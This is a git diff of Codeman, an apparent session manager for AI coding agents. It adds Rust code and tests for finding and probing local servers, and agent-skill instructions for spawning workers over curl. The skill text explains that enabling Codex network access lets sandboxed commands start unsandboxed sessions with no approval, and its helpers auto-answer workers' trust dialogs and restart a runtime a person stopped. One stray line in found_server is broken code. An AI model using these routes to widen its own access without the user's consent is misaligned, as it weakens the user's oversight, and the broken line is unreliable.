fn found_server(url: &Url, answer: &ProbeOutcome, default: &Url) -> FoundServer {
let state = match answer {
ProbeOutcome::Ok { .. } | ProbeOutcome::PasswordChangeRequired => FoundState::Running,
_ if answers(answer) => FoundState::NeedsLogin,
// A Codeman started with --https closes a plain http connection.
ProbeOutcome::TlsUntrusted { .. } | ProbeOutcome::MaybeHttps => FoundState::Certificate,
_ => FoundState::Unreachable,
};
Url::parse(&format!("http://{host}:{}/", l.port)).ok()
FoundServer {
url: url.to_string(),
version: match answer {
ProbeOutcome::Ok { version } => Some(version.clone()),
_ => None,
},
state,
is_default: url == default,
}
}
/// How long a found server gets to answer when the tab only lists it.
const FOUND_TIMEOUT: Duration = Duration::from_secs(2);
/// Ask the servers at `urls`, all at the same time, so the look takes as long
/// as the slowest answer and no longer. Without a login: the one the app can
/// read belongs to the default address (login_for).
fn ask_found(urls: &[Url], patience: Duration) -> Vec<ProbeOutcome> {
std::thread::scope(|scope| {
let asking: Vec<_> = urls
.iter()
.map(|url| scope.spawn(move || probe::probe_within(url, None, patience)))
.collect();
asking
.into_iter()
.map(|a| {
a.join().unwrap_or_else(|_| ProbeOutcome::Failed {
detail: "The check stopped.".into(),
})
})
.collect()
})
}
/// The address the This Mac tab is about, with its answer: the default one,
/// or, when nothing answers there, the first found server that does (a
/// `codeman web --port 4000` in a terminal, a bind to one network address).
fn shown<'a>(
default: &'a Url,
answer: &'a ProbeOutcome,
found: &'a [(Url, ProbeOutcome)],
) -> (&'a Url, &'a ProbeOutcome) {
if *answer == ProbeOutcome::Refused {
if let Some((url, answer)) = found.iter().find(|(_, a)| answers(a)) {
return (url, answer);
}
}
(default, answer)
}
/// What the This Mac tab shows.
@@ -449,8 +611,8 @@ pub enum LocalState {
/// A Codeman server of this user runs but listens nowhere yet: it is
/// still starting (the LaunchAgent at login, a restart).
Starting,
/// A Codeman server of this user runs, but not at an address the app can
/// open (bound to one network address, say): see `elsewhere`.
/// A Codeman server of this user runs, but none answers at an address the
/// app can open (HTTPS with Codeman's own certificate, say): see `found`.
RunningElsewhere,
/// Nothing answers, and Codeman is installed.
Stopped,
@@ -478,12 +640,19 @@ pub struct LocalStatus {
pub installed: bool,
/// `install.sh` finished its work (its `.install-complete` marker).
pub install_complete: bool,
/// An install the app started is still running in Terminal, and the
/// port it asked for once that is known.
/// An install the app started is still running, and the port it asked
/// for once that is known.
pub install_running: bool,
pub install_port: Option<u16>,
/// For RunningElsewhere: the addresses that Codeman listens on.
pub elsewhere: Vec<String>,
/// That install is the graphical one, not a Terminal window: the page can
/// show it (gui_install::follow), also after the app was quit.
pub install_in_app: bool,
/// A coding agent is being added the same way. Not an install: it says
/// nothing about Codeman, which may well be running.
pub agent_install_in_app: bool,
/// Every Codeman server of this user that listens on this Mac, the one at
/// the default address first: the tab offers to connect to each.
pub found: Vec<FoundServer>,
/// The probe's outcome, for the connect page's explanations.
pub outcome: ProbeOutcome,
}
@@ -530,55 +699,44 @@ pub enum Depth {
pub fn inspect(depth: Depth) -> LocalStatus {
let home = dirs::home_dir().unwrap_or_default();
let service = read_service();
let url = local_url(service.as_ref());
let default = local_url(service.as_ref());
let procs = list_processes();
let servers = codeman_servers(&procs);
let found = listeners(&servers);
let listening = listeners(&servers);
let install = running_install(&procs);
let install_in_app = procs.iter().any(|(_, c)| gui_install::Run::Codeman.matches(c));
let agent_install_in_app = procs.iter().any(|(_, c)| gui_install::Run::Agent.matches(c));
// The login goes only to this user's own Codeman on that port.
let auth = if serves_loopback_port(&found, url.port_or_known_default().unwrap_or(0)) {
login_for(&url, service.as_ref(), &read_env_file()).map(|(u, p)| policy::basic_auth_header(&u, &p))
let auth = if serves_loopback_port(&listening, default.port_or_known_default().unwrap_or(0)) {
login_for(&default, service.as_ref(), &read_env_file()).map(|(u, p)| policy::basic_auth_header(&u, &p))
} else {
None
};
let mut outcome = probe::probe(&url, auth.as_deref());
let mut url = url;
let mut elsewhere = Vec::new();
let answer = probe::probe(&default, auth.as_deref());
// Nothing at the usual address, but a Codeman server of this user runs:
// find where (a `codeman web --port 4000` in a terminal, a bind to one
// network address), so the tab never offers to start a second server on
// the same sessions.
if outcome == ProbeOutcome::Refused && !servers.is_empty() {
let mut ports_seen = Vec::new();
for l in &found {
if ports_seen.contains(&(l.host.clone(), l.port)) {
continue;
}
ports_seen.push((l.host.clone(), l.port));
let Some(candidate) = listener_url(l) else {
continue;
};
let answer = probe::probe(&candidate, None);
if matches!(
answer,
ProbeOutcome::Ok { .. }
| ProbeOutcome::NeedsLogin
| ProbeOutcome::BadCredentials
| ProbeOutcome::RateLimited { .. }
| ProbeOutcome::PasswordChangeRequired
) {
url = candidate;
outcome = answer;
break;
}
elsewhere.push(format!("{}:{}", l.host, l.port));
}
if outcome == ProbeOutcome::Refused && elsewhere.is_empty() {
elsewhere = servers.iter().map(|pid| format!("process {pid}")).collect();
}
// Every address one of this user's Codeman servers listens at. The one at
// the default address has just answered; the others are asked now, once
// each. With nothing at the default address, the first of them that
// answers is what the tab opens, as it always was, so each gets the
// probe's usual time; otherwise they are only listed, and get less.
let patience = if answer == ProbeOutcome::Refused {
probe::TIMEOUT
} else {
FOUND_TIMEOUT
};
let addresses = found_addresses(&procs, &listening, &default);
let others: Vec<Url> = addresses.iter().filter(|u| **u != default).cloned().collect();
let mut answered: Vec<(Url, ProbeOutcome)> = others.iter().cloned().zip(ask_found(&others, patience)).collect();
// found_addresses puts the default address first.
if addresses.first() == Some(&default) {
answered.insert(0, (default.clone(), answer.clone()));
}
let found: Vec<FoundServer> = answered.iter().map(|(u, a)| found_server(u, a, &default)).collect();
// The tab never offers to start a second server on the same sessions: it
// opens the one that answers, or lists where they listen.
let (url, outcome) = shown(&default, &answer, &answered);
let (url, outcome) = (url.clone(), outcome.clone());
let app = home.join(".codeman/app");
let install_complete = app.join(".install-complete").is_file();
@@ -596,10 +754,7 @@ pub fn inspect(depth: Depth) -> LocalStatus {
Depth::Login => local_server::installed(false),
Depth::Interactive => local_server::installed(true),
};
let state = local_state(&outcome, !servers.is_empty(), !found.is_empty(), installed);
if state != LocalState::RunningElsewhere {
elsewhere.clear();
}
let state = local_state(&outcome, !servers.is_empty(), !listening.is_empty(), installed);
let version = match &outcome {
ProbeOutcome::Ok { version } => Some(version.clone()),
_ => None,
@@ -614,7 +769,9 @@ pub fn inspect(depth: Depth) -> LocalStatus {
install_complete,
install_running: install.is_some(),
install_port: install.flatten(),
elsewhere,
install_in_app,
agent_install_in_app,
found,
outcome,
}
}
@@ -624,7 +781,7 @@ pub fn inspect(depth: Depth) -> LocalStatus {
/// attach to the first one's live sessions (src/config/instance.ts), and
/// `codeman web -d` only notices a server it started itself or one at the
/// same address.
fn already_running() -> Option<String> {
pub fn already_running() -> Option<String> {
let servers = codeman_servers(&list_processes());
let pid = servers.first()?;
let found = listeners(&servers);
@@ -1389,9 +1546,375 @@ mod tests {
assert!(serves_loopback_port(&found, 4000));
assert!(!serves_loopback_port(&found, 3999));
assert!(!serves_loopback_port(&found, 5000));
assert_eq!(listener_url(&found[1]).unwrap().as_str(), "http://172.17.0.1:3999/");
assert_eq!(listener_url(&found[2]).unwrap().as_str(), "http://127.0.0.1:4000/");
assert_eq!(listener_url(&found[3]).unwrap().as_str(), "http://[::1]:5000/");
// The same four sockets as the addresses the app can try, by port.
assert_eq!(
addresses(&procs, &found, "http://127.0.0.1:3000/"),
[
"http://127.0.0.1:3000/",
"http://172.17.0.1:3999/",
"http://127.0.0.1:4000/",
"http://[::1]:5000/"
]
);
}
fn server(pid: u32, flags: &str) -> (u32, String) {
(pid, format!("node /opt/homebrew/bin/codeman web{flags}"))
}
fn listener(pid: u32, host: &str, port: u16) -> Listener {
Listener {
pid,
host: host.into(),
port,
}
}
/// found_addresses, as strings. The page sends one back in a `connect`,
/// so each must be an address the connect takes as it is: the app saves
/// a server, and finds its saved login, under that exact string.
fn addresses(procs: &[(u32, String)], listeners: &[Listener], default: &str) -> Vec<String> {
found_addresses(procs, listeners, &u(default))
.iter()
.map(|url| {
assert_eq!(policy::normalize_server_url(url.as_str()).as_ref(), Ok(url));
url.to_string()
})
.collect()
}
#[test]
fn a_found_server_becomes_an_address_the_app_can_try() {
let default = "http://127.0.0.1:3000/";
let one = |flags: &str, listeners: &[Listener]| addresses(&[server(1, flags)], listeners, default);
// Every interface and IPv4 loopback are reached at 127.0.0.1.
for host in ["*", "0.0.0.0", "[::]", "127.0.0.1"] {
assert_eq!(
one(" --port 4000", &[listener(1, host, 4000)]),
["http://127.0.0.1:4000/"],
"{host}"
);
}
// IPv6 loopback keeps its own address only when it is the server's
// only loopback socket.
assert_eq!(one("", &[listener(1, "[::1]", 5000)]), ["http://[::1]:5000/"]);
assert_eq!(
one("", &[listener(1, "[::1]", 5000), listener(1, "127.0.0.1", 5000)]),
["http://127.0.0.1:5000/"]
);
// A dual-stack bind shows as two sockets, both `*`: one address.
assert_eq!(
one("", &[listener(1, "*", 5000), listener(1, "*", 5000)]),
["http://127.0.0.1:5000/"]
);
// A bind to one address stays that address.
assert_eq!(
one(" --host 192.168.1.5", &[listener(1, "192.168.1.5", 3000)]),
["http://192.168.1.5:3000/"]
);
// --https and --base-url come from the command line, in both spellings.
assert_eq!(
one(" --https --port 4000 --base-url /codeman/", &[listener(1, "*", 4000)]),
["https://127.0.0.1:4000/codeman/"]
);
assert_eq!(
one(" -p 4000 --base-url=cm", &[listener(1, "127.0.0.1", 4000)]),
["http://127.0.0.1:4000/cm/"]
);
// The value of --host is never read as a flag, and a base path Codeman
// would refuse counts as none.
assert_eq!(
one(" --host --https -p 4000", &[listener(1, "127.0.0.1", 4000)]),
["http://127.0.0.1:4000/"]
);
assert_eq!(
one(" -p 4000 --base-url /a?b", &[listener(1, "127.0.0.1", 4000)]),
["http://127.0.0.1:4000/"]
);
// What comes before `web` is node's business.
assert_eq!(
addresses(
&[(1, "node --https /Users/k/.codeman/app/dist/index.js web".to_string())],
&[listener(1, "*", 4000)],
default
),
["http://127.0.0.1:4000/"]
);
// A server with two listeners. Beside a loopback socket on the same
// port, another one is the same server (the Docker bridge listener);
// on another port, or with no loopback socket, each is an address.
assert_eq!(
one("", &[listener(1, "127.0.0.1", 3001), listener(1, "172.17.0.1", 3001)]),
["http://127.0.0.1:3001/"]
);
assert_eq!(
one("", &[listener(1, "172.17.0.1", 3999), listener(1, "127.0.0.1", 3001)]),
["http://127.0.0.1:3001/", "http://172.17.0.1:3999/"]
);
assert_eq!(
one("", &[listener(1, "192.168.1.5", 3001), listener(1, "100.64.0.7", 3001)]),
["http://100.64.0.7:3001/", "http://192.168.1.5:3001/"]
);
// Only the sockets of Codeman servers count: not a control command's,
// another program's, or one whose process `ps` did not list.
let procs = [
server(1, " --port 4000"),
(2, "node /opt/homebrew/bin/codeman attach w1".to_string()),
(3, "python3 -m http.server 8000".to_string()),
];
let sockets = [
listener(2, "*", 4100),
listener(3, "*", 8000),
listener(9, "*", 9000),
listener(1, "*", 4000),
];
assert_eq!(addresses(&procs, &sockets, default), ["http://127.0.0.1:4000/"]);
assert!(addresses(&procs, &sockets[..3], default).is_empty());
// An address that makes no URL is left out.
assert!(one("", &[listener(1, "not a host", 3001)]).is_empty());
}
#[test]
fn found_addresses_start_with_the_default_one_then_go_by_port() {
// install.sh's launchd job: a bare `web`, the base path in its environment.
let default = "http://127.0.0.1:3001/codeman/";
let procs = [
(
10,
"node /x/tsx/cli.mjs /Users/k/codeman/src/index.ts web --port 5000".to_string(),
),
(
20,
"/opt/homebrew/bin/node /Users/k/.codeman/app/dist/index.js web".to_string(),
),
server(30, " -p 4000 --https"),
// The same address twice: a second process on the port of the first.
server(40, " --port 5000"),
];
let sockets = [
listener(10, "*", 5000),
listener(20, "*", 3001),
listener(30, "127.0.0.1", 4000),
listener(40, "127.0.0.1", 5000),
];
assert_eq!(
addresses(&procs, &sockets, default),
[
"http://127.0.0.1:3001/codeman/",
"https://127.0.0.1:4000/",
"http://127.0.0.1:5000/"
]
);
// The same list whatever order `ps` and `lsof` gave.
let mut reversed_procs = procs.to_vec();
reversed_procs.reverse();
let mut reversed_sockets = sockets.to_vec();
reversed_sockets.reverse();
assert_eq!(
addresses(&reversed_procs, &reversed_sockets, default),
addresses(&procs, &sockets, default)
);
// On the default port, a command line with its own base path or
// scheme is taken at its word: it may be another server than the job's.
let on_3001 = |flags: &str| addresses(&[server(1, flags)], &[listener(1, "*", 3001)], default);
assert_eq!(on_3001(" --port 3001"), [default]);
assert_eq!(on_3001(" --port 3001 --base-url /codeman"), [default]);
assert_eq!(
on_3001(" --port 3001 --base-url /other"),
["http://127.0.0.1:3001/other/"]
);
assert_eq!(on_3001(" --port 3001 --base-url /"), ["http://127.0.0.1:3001/"]);
assert_eq!(on_3001(" --port 3001 --https"), ["https://127.0.0.1:3001/"]);
// 127.0.0.1 only: a bind to another address is not the default one.
assert_eq!(
addresses(&[server(1, "")], &[listener(1, "192.168.1.5", 3001)], default),
["http://192.168.1.5:3001/"]
);
}
#[test]
fn a_found_server_row_says_what_answered() {
let default = u("http://127.0.0.1:3000/");
let at = u("http://127.0.0.1:4000/");
let row = |answer: ProbeOutcome| found_server(&at, &answer, &default);
assert_eq!(
row(ProbeOutcome::Ok {
version: "1.49.0".into()
}),
FoundServer {
url: "http://127.0.0.1:4000/".into(),
version: Some("1.49.0".into()),
state: FoundState::Running,
is_default: false,
}
);
let state = |answer: ProbeOutcome| {
let row = row(answer);
assert_eq!(row.version, None);
row.state
};
assert_eq!(state(ProbeOutcome::PasswordChangeRequired), FoundState::Running);
for login in [
ProbeOutcome::NeedsLogin,
ProbeOutcome::BadCredentials,
ProbeOutcome::RateLimited {
sent_credentials: false,
retry_after_secs: Some(60),
},
] {
assert_eq!(state(login), FoundState::NeedsLogin);
}
for certificate in [
ProbeOutcome::TlsUntrusted {
detail: "invalid peer certificate: UnknownIssuer".into(),
},
ProbeOutcome::MaybeHttps,
] {
assert_eq!(state(certificate), FoundState::Certificate);
}
for silent in [
ProbeOutcome::Refused,
ProbeOutcome::Timeout,
ProbeOutcome::Unreachable,
ProbeOutcome::HostNotAllowed,
ProbeOutcome::NotCodeman { status: 403 },
ProbeOutcome::Failed { detail: "x".into() },
] {
assert_eq!(state(silent), FoundState::Unreachable);
}
assert!(found_server(&default, &ProbeOutcome::Refused, &default).is_default);
// As the connect page reads it.
assert_eq!(
serde_json::to_value(row(ProbeOutcome::Ok {
version: "1.49.0".into()
}))
.unwrap(),
json!({ "url": "http://127.0.0.1:4000/", "version": "1.49.0", "state": "running", "isDefault": false })
);
assert_eq!(
serde_json::to_value(found_server(&default, &ProbeOutcome::NeedsLogin, &default)).unwrap(),
json!({ "url": "http://127.0.0.1:3000/", "version": null, "state": "needsLogin", "isDefault": true })
);
assert_eq!(
serde_json::to_value([FoundState::Certificate, FoundState::Unreachable]).unwrap(),
json!(["certificate", "unreachable"])
);
}
#[test]
fn the_tab_is_about_the_default_address_unless_nothing_answers_there() {
let default = u("http://127.0.0.1:3000/");
let ok = ProbeOutcome::Ok {
version: "1.49.0".into(),
};
let refused = ProbeOutcome::Refused;
let found = vec![
(
u("https://127.0.0.1:4000/"),
ProbeOutcome::TlsUntrusted { detail: "x".into() },
),
(u("http://127.0.0.1:5000/"), ProbeOutcome::NeedsLogin),
(u("http://127.0.0.1:6000/"), ok.clone()),
];
// Nothing at the default address: the first found server that
// answers, one that wants a login included.
assert_eq!(
shown(&default, &refused, &found),
(&found[1].0, &ProbeOutcome::NeedsLogin)
);
assert_eq!(shown(&default, &refused, &found[2..]), (&found[2].0, &ok));
// None of them answers: the tab stays on the default address, and
// local_state makes that RunningElsewhere.
assert_eq!(shown(&default, &refused, &found[..1]), (&default, &refused));
assert_eq!(shown(&default, &refused, &[]), (&default, &refused));
// Whatever else the default address says is what the tab shows; the
// servers found elsewhere are only listed.
for answer in [
ok.clone(),
ProbeOutcome::NeedsLogin,
ProbeOutcome::NotCodeman { status: 404 },
ProbeOutcome::Timeout,
ProbeOutcome::MaybeHttps,
] {
assert_eq!(shown(&default, &answer, &found), (&default, &answer));
}
}
/// Against real sockets: every address is asked, at the same time, and
/// the answers come back in the order of the addresses.
#[test]
fn found_servers_are_asked_together() {
use std::io::Read;
use std::net::TcpListener;
use std::sync::mpsc;
/// A server for one request: it reads it, and answers with `response`
/// if `ready` says so.
fn serve(response: String, ready: impl FnOnce() -> bool + Send + 'static) -> Url {
let l = TcpListener::bind("127.0.0.1:0").unwrap();
let port = l.local_addr().unwrap().port();
std::thread::spawn(move || {
if let Ok((mut s, _)) = l.accept() {
let mut head = Vec::new();
let mut buf = [0u8; 4096];
while !head.windows(4).any(|w| w == b"\r\n\r\n") {
match s.read(&mut buf) {
Ok(0) | Err(_) => break,
Ok(n) => head.extend_from_slice(&buf[..n]),
}
}
if ready() {
let _ = s.write_all(response.as_bytes());
}
}
});
u(&format!("http://127.0.0.1:{port}/"))
}
fn response(status_line: &str, body: &str) -> String {
format!(
"HTTP/1.1 {status_line}\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
)
}
// The first server answers only once the second has been asked. Asked
// one after the other, it would hang up without an answer.
let (asked, was_asked) = mpsc::channel::<()>();
let first = serve(
response("200 OK", r#"{"success":true,"data":{"version":"9.9.9"}}"#),
move || was_asked.recv_timeout(Duration::from_secs(4)).is_ok(),
);
let second = serve(response("401 Unauthorized", "Unauthorized"), move || {
asked.send(()).is_ok()
});
let closed = {
let l = TcpListener::bind("127.0.0.1:0").unwrap();
u(&format!("http://127.0.0.1:{}/", l.local_addr().unwrap().port()))
};
assert_eq!(
ask_found(&[first, second, closed], probe::TIMEOUT),
[
ProbeOutcome::Ok {
version: "9.9.9".into()
},
ProbeOutcome::NeedsLogin,
ProbeOutcome::Refused,
]
);
// One that does not answer in the time it is given.
let slow = serve(String::new(), || {
std::thread::sleep(Duration::from_secs(2));
false
});
assert_eq!(ask_found(&[slow], Duration::from_millis(300)), [ProbeOutcome::Timeout]);
assert!(ask_found(&[], FOUND_TIMEOUT).is_empty());
}
#[test]
+1 -1
View File
@@ -1,7 +1,7 @@
{
"name": "codeman",
"description": "Drive Codeman, the self-hosted session manager for AI coding agents, from inside a Claude Code session: spawn worker sessions, prompt them, wait for them, read their answers, clean up. Acts inside a Codeman-managed session; outside one it only reads saved Codex conversations offline.",
"version": "1.48.0",
"version": "1.50.0",
"author": {
"name": "Ark0N",
"url": "https://github.com/Ark0N"
+1 -1
View File
@@ -9,6 +9,6 @@ The agent skill for [Codeman](https://getcodeman.com), the self-hosted mission c
The skill acts inside a Codeman-managed session (`CODEMAN_MUX=1`). Outside one it only reads saved Codex conversations offline (`codeman history read`) and refuses everything else, so installing it globally costs nothing for unrelated sessions.
Pick one install route. Codeman can inject the skill into each case itself (App Settings, Agent Skill), and `codeman skill install` writes a user-level copy; a Claude Code that has one of those AND this plugin lists the skill twice, as `codeman` and `codeman:codeman`. Both work, the second is just noise.
Pick one install route. Codeman injects the skill into each new session's folder itself, on by default since 1.50.0 (App Settings, Agents & CLIs, Codeman Agent Skill), and `codeman skill install` writes a user-level copy; a Claude Code that has one of those AND this plugin lists the skill twice, as `codeman` and `codeman:codeman`. Both work, the second is just noise: turn that setting off, or skip the plugin, if it bothers you.
This directory is a mirror of [`skills/codeman`](../../skills/codeman) in the main repository, kept byte-identical by `scripts/sync-plugin.mjs` and pinned by a test. Edit the source there, never here. `npm run check:plugin` (repo root, needs the `claude` CLI) checks the mirror and validates both manifests. Source, issues and the rest of Codeman: https://github.com/Ark0N/Codeman
+338 -28
View File
@@ -7,7 +7,8 @@ description: >-
CLI, send them prompts, block until they finish (wait / wait-output / send-and-wait),
read their output, and clean up; where available, message claude workers directly
(Claude Code cross-session messaging). Use when asked to orchestrate or parallelize
work across Codeman sessions, get a second opinion from another CLI or model, watch
work across Codeman sessions, get a second opinion from another CLI or model, hand
work to the local model Codeman installed on this Mac ("use the local model"), watch
another session, start and manage workers, or retrieve saved local Codex history
by file/native ID or root and descendants with topic/date filters. Live API
operations require a Codeman-managed session (CODEMAN_MUX=1). Offline history
@@ -60,6 +61,10 @@ land in `~/.claude`; pass `--working-dir ~` to mean it). Directory launches keep
mark the project as agent scratch. If startup fails or is ambiguous, the CLI
reports the exact created ID: inspect it before retrying or cleaning up.
**`codeman: command not found` is not a dead end.** Some installs (a server run from a
source checkout, for one) put no `codeman` on PATH. Do not stop there: §0 and §1 below
are the same verbs over `curl`, and need nothing but `curl` and `jq`.
## 0. Guard and bootstrap
For live API operations, if `CODEMAN_MUX` is not `1`, **stop and say so**.
@@ -68,13 +73,25 @@ Do not guess an API URL; a server you are not part of is not yours to drive.
Two failures come from your CLI, not from Codeman: name them to the user instead of
retrying.
- **Every call fails at once with "couldn't connect" or "connection refused".** Your
CLI's sandbox blocks network access, even to this machine. Codex's default sandbox
does; it needs **Bypass approvals and sandbox** (Codeman App Settings, Codex).
- **Every call fails at once with "couldn't connect", "connection refused" or `connect
EPERM`.** Your CLI's sandbox blocks network access, even to this machine. If your CLI
can ask the user to run a command outside its sandbox (Codex can), re-run **the same
command** once that way, never a different one; if the user declines, stop. For lasting
access in Codex, the user turns on **Allow network access** (Codeman App Settings,
Codex) and starts a new Codex session. Tell them what it costs first: it applies to
every new local Codex session, and commands in Codex's sandbox can then call Codeman's
API, which can start a session outside the sandbox with no approval prompt, even when
a password is set. It opens the network wherever Codex runs the folder workspace-write
and does not change the sandbox mode: a folder Codex runs read-only keeps the network
closed, so each call still needs the per-command approval (or `/permissions`).
**Bypass approvals and sandbox** works everywhere but drops the sandbox and approvals.
- **`"${CURL[@]}" -o /dev/null -w '%{http_code}' "$API/api/v1/sessions/$SELF"` prints
`404`.** The commands you run do not carry this session's environment: Codex can run them in a shared background
process another session started, so `$CODEMAN_SESSION_ID` (and with it `$SELF` and
the delete guard) is that session's. Delete nothing; tell the user.
the delete guard) is that session's. Delete nothing; tell the user. Codeman starts a
local Codex 0.162 or later with `--no-daemon` to prevent this, so seeing it means a
Codex started without that flag: an older Codex, a local session whose version Codeman
could not read, a remote or Docker session, or a server that predates it.
⚠️ **Your shell state does not survive between tool calls.** Each Bash call starts a
fresh shell, so `$API`, `$SELF`, the `CURL` array and `delete_session` are all gone by
@@ -90,7 +107,7 @@ later call opens with, and your first REAL call performs them anyway:
```bash
. "${XDG_CACHE_HOME:-$HOME/.cache}/codeman-agent-$CODEMAN_SESSION_ID.sh" 2>/dev/null
[ "${CODEMAN_PREAMBLE:-}" = 1.44.0 ] || { echo "preamble missing or stale; run the full §0 block"; exit 1; }
[ "${CODEMAN_PREAMBLE:-}" = 1.50.0 ] || { echo "preamble missing or stale; run the full §0 block"; exit 1; }
```
⚠️ **Never spend a Bash call on this check alone.** §1's block opens with this same
@@ -118,8 +135,8 @@ PRE="${XDG_CACHE_HOME:-$HOME/.cache}/codeman-agent-$CODEMAN_SESSION_ID.sh"
mkdir -p "$(dirname "$PRE")"
# Rewrite unless the file already ends with THIS version's stamp, so a stale or a
# half-written file self-heals here instead of costing you a round trip to rm it.
grep -qs '^CODEMAN_PREAMBLE=1.44.0$' "$PRE" || (umask 077; cat > "$PRE" <<'PREAMBLE'
# ---- Codeman agent preamble 1.44.0 (seeded by Codeman at session spawn; the SKILL.md §0 bootstrap rewrites it when missing or stale) ----
grep -qs '^CODEMAN_PREAMBLE=1.50.0$' "$PRE" || (umask 077; cat > "$PRE" <<'PREAMBLE'
# ---- Codeman agent preamble 1.50.0 (seeded by Codeman at session spawn; the SKILL.md §0 bootstrap rewrites it when missing or stale) ----
# Positional parameters are always written with braces, ${1} and never a bare dollar-digit: Claude Code
# replaces a bare one in a skill body with the matching word of the skill's arguments, and §0 is pasted
# from that body (test/agent-skill.test.ts pins it).
@@ -170,11 +187,15 @@ _composer_up() { # <sid> <timeoutMs> -> "true"/"false". `shift+tab` is the one
--data-urlencode 'match=shift+tab' --data-urlencode 'from=buffer' \
--data-urlencode "timeout=${2}" | jq -r '.data.wait.matched // false'
}
_mark_up() { # <sid> <mark> <timeoutMs> -> "true"/"false": a literal, space-free token
# in the pane's output, read from the buffer so a composer drawn before the wait counts.
"${CURL[@]}" -G "$API/api/v1/sessions/${1}/wait-output" \
--data-urlencode "match=${2}" --data-urlencode 'from=buffer' \
--data-urlencode "timeout=${3}" | jq -r '.data.wait.matched // false'
}
_dsh_up() { # <sid> <timeoutMs> -> "true"/"false". The DeepSeek Harness TUI's
# composer glyph. Override with DSH_READY_MARK for a profile that draws another one.
"${CURL[@]}" -G "$API/api/v1/sessions/${1}/wait-output" \
--data-urlencode "match=${DSH_READY_MARK:-❯}" --data-urlencode 'from=buffer' \
--data-urlencode "timeout=${2}" | jq -r '.data.wait.matched // false'
_mark_up "${1}" "${DSH_READY_MARK:-❯}" "${2}"
}
# ---- the workspace-trust dialog: READ the screen, never press Enter blind ----
# Claude Code 2.1.252 dropped the option numbers, REVERSED them, and highlights
@@ -234,21 +255,126 @@ _accept_trust() { # <sid> -> 0 once it has answered the dialog, 1 if it could n
done
return 1
}
# ---- the local model: the model Codeman installed on this Mac, as a worker ----
# local_model -> ONE compact JSON object on stdout. rc 0 only when a `local` worker can be
# spawned now (`running:true`) or once spawn_worker has started the runtime (`running:false`):
# {"spawnable":true,"state":"installed","running":true,"cli":"opencode","cliLabel":"OpenCode",
# "endpointId":"local-ollama","modelId":"<id>","modelLabel":"<label>"}
# Otherwise rc 1 and {"spawnable":false,"reason":"<reason>","message":"<why>",...}, the reason
# one of: not-mac, not-installed, install-unfinished, blocked (installed, but the server
# refuses a session now: the model changed on disk, another program holds the port, the
# runtime does not start), admin-only (multi-user mode, 403), unsupported (a Codeman without
# local models, 404), unauthorized (401, §6), unreachable, error.
# One GET of an EXPERIMENTAL route. It downloads, installs and starts nothing: installing is
# a person's decision, made in Codeman's "Run a local model" window.
local_model() {
local r code body out
r=$("${CURL[@]}" -w '\n%{http_code}' "$API/api/v1/local-model")
code=${r##*$'\n'}; body=${r%$'\n'*}
case "$code" in
200) out=$(jq -c '
def say: (.text // "") as $t
| reduce ((.vars // {}) | to_entries[]) as $e ($t; gsub("\\{" + $e.key + "\\}"; $e.value));
.data as $d | ($d.install // {}) as $i | ($i.actions // []) as $a
| {state:$i.state, running:($i.running == true), cli:$i.cli, cliLabel:$i.cliLabel,
endpointId:$i.endpointId, modelId:$i.model.id, modelLabel:$i.model.label} as $base
| if ($d | type) != "object" then {spawnable:false, reason:"error", message:"no data in the answer"}
elif $i.state == "installed" then
# `start` alone over-promises: it is offered too while another program holds the
# port. Only an error-free start is a runtime spawn_worker can bring up.
if ($i.cli and $i.endpointId and $i.model.id)
and (($a | index("start-session")) != null or (($a | index("start")) != null and $i.error == null))
then {spawnable:true} + $base
else {spawnable:false, reason:"blocked", errorCode:$i.error.code,
message:(if $i.error then ($i.error.message | say)
else "The model is installed, but the server offers no session on it right now." end)} + $base
end
elif $d.recommendation.reason == "not-macos" then
{spawnable:false, reason:"not-mac",
message:("Local models need a Mac with Apple silicon, and this Codeman runs on " + ($d.hardware.platform // "another system") + ".")}
elif $i.state == "idle" then
{spawnable:false, reason:"not-installed",
message:("No local model is installed. " + (if $d.recommendation.verdict == "none" then ($d.recommendation.headline | say)
else "A person installs one with Run a local model on the Codeman welcome screen." end))}
else
{spawnable:false, reason:"install-unfinished", step:$i.step, errorCode:$i.error.code,
message:("The install is " + ($i.state // "unfinished") + (if $i.step then " at its " + $i.step + " step" else "" end)
+ (if $i.error then ": " + ($i.error.message | say) else "." end)
+ " Only the Run a local model window continues it.")} + $base
end
| with_entries(select(.value != null))' <<<"$body" 2>/dev/null) ;;
000) out=$(jq -nc --arg a "$API" '{spawnable:false,reason:"unreachable",message:("No answer from Codeman at " + $a + ".")}') ;;
401) out='{"spawnable":false,"reason":"unauthorized","message":"Codeman refused the credentials (401): see the codeman skill, section 6."}' ;;
403) jq -e '.errorCode == "FORBIDDEN"' <<<"$body" >/dev/null 2>&1 &&
out='{"spawnable":false,"reason":"admin-only","message":"In multi-user mode the local model is for admins only: ask an admin of this Codeman."}' ;;
404) out='{"spawnable":false,"reason":"unsupported","message":"This Codeman has no local model support: it predates it."}' ;;
esac
[ -n "${out:-}" ] || out=$(jq -nc --arg c "$code" --arg t "$body" \
'{spawnable:false,reason:"error",status:$c,message:((($t | fromjson? | .error?) // $t)[0:300])}')
printf '%s\n' "$out"
[ "$(jq -r .spawnable <<<"$out")" = true ]
}
# _local_ready_model -> local_model's JSON once a `local` worker can start, rc 1 with the
# reason on stderr otherwise. An installed model whose runtime is stopped is started first,
# with exactly what the local model window's Start button sends, and read again until it
# runs (bounded, about 30 s). ⚠️ That start also undoes a Stop the person made: the runtime
# starts with Codeman again from then on. Concurrent spawns may both send it; the server
# runs one runtime verb at a time and a second start keeps the runtime that runs.
_local_ready_model() {
local lm r i=0
lm=$(local_model) || { jq -r '"no local model to spawn on (" + .reason + "): " + .message' <<<"$lm" >&2; return 1; }
[ "$(jq -r .running <<<"$lm")" = true ] && { printf '%s\n' "$lm"; return 0; }
r=$("${CURL[@]}" -X POST "$API/api/v1/local-model/runtime" -H 'Content-Type: application/json' -d '{"action":"start"}')
jq -e '.success == true' <<<"$r" >/dev/null 2>&1 || {
echo "could not start the local model runtime: $(jq -r '.error // empty' <<<"$r" 2>/dev/null || printf '%s' "$r" | head -c 300)" >&2
return 1; }
while :; do
lm=$(local_model) || { jq -r '"the local model runtime was started, but (" + .reason + "): " + .message' <<<"$lm" >&2; return 1; }
[ "$(jq -r .running <<<"$lm")" = true ] && { printf '%s\n' "$lm"; return 0; }
i=$((i+1)); [ "$i" -lt 15 ] || { echo "the local model runtime did not report running within 30 s" >&2; return 1; }
sleep 2
done
}
